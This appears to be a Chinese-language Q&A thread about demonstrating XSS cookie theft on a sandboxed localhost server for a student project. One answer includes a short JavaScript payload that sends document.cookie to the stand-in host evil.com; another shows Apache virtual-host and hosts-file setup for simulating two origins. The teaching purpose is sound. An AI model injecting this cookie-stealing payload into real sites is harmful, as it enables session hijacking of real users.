2011-11-27 20 views
1

我正在做關於XSHM(跨站點歷史操作)的項目。如何使用本地主機演示SOP的利用方式

我想說明如何使用XSS(跨站點腳本)可以違反標準操作規程。我已經在沙箱XP機器內建立了一個本地主機(WAMP)服務器(必須符合道德標準),並且使用簡單的登錄腳本,這容易受到XSS攻擊。

問題)我想表明,注射邪惡的JavaScript代碼到登錄頁面後,我可以向用戶發送的cookie另一個起源,但我怎麼能做到這一點使用本地主機服務器?

如果本地主機是一個原點(即受害者的網站),我怎麼能創造另一個原點(即壞傢伙網站)不同的本地主機發送cookie來?我知道在相同的起源要求(協議,端口和域)是相同的。我不能更改爲HTTPS本地主機和HTTP本地主機,因爲我沒有證書。我似乎無法根據需要更改端口號:80 for web。

我不想使用真正的網站網站併發送cookie到本地主機腳本,因爲這將是不道德的,也不能執行攻擊,因爲它不會有XSS漏洞證明利用。

任何想法?

+0

您是否使用IIS進行託管? – Deestan

+0

@Deestan WAMP是適用於Windows的Apache + MySQL + PHP安裝程序。 –

回答

0

起源無關緊要的腳本簡單地讀取同一產地的Cookie文件,然後將其發送到服務器的地方進行解碼,然後手動設置在邪惡的實幹家的瀏覽器或類似的一個cookie的字符串。

<script> 
var img = new Image(); 
img.src = "http://www.evil.com/c="+escape(document.cookie); 
</script> 

這將與在C參數用戶的cookie信息的GET請求,只是要求圖像不是SOP的侵犯,所以我不知道這是有幫助的。

+0

我以爲是這樣,謝謝你清理它。那麼是否有任何例子可以使用本地主機來顯示SOP違規?任何想法,將不勝感激隊友 – daza166

+0

@ daza166,我個人從來沒有見過一個違規SOP - 服務器可以明確地允許跨域XHR等現代瀏覽器,但並不算作違規。如果你想出一個,你應該提交給谷歌一些錢:) – Esailija

0

設置幾個virtual hosts在你的Apache配置,如下所示:在127.0.0.1

# Ensure that Apache listens on port 80 
Listen 80 

# Listen for virtual host requests on all IP addresses 
NameVirtualHost *:80 

<VirtualHost *:80> 
DocumentRoot "C:\goodguy" 
ServerName goodguy.com 

# Other directives here 

</VirtualHost> 

<VirtualHost *:80> 
DocumentRoot "C:\badguy" 
ServerName badguy.com 

# Other directives here 

</VirtualHost> 

點他們在你hosts文件。

127.0.0.1 goodguy.com 
127.0.0.1 badguy.com 

現在,使用goodguy.combadguy.com而不是localhost

祝你好運!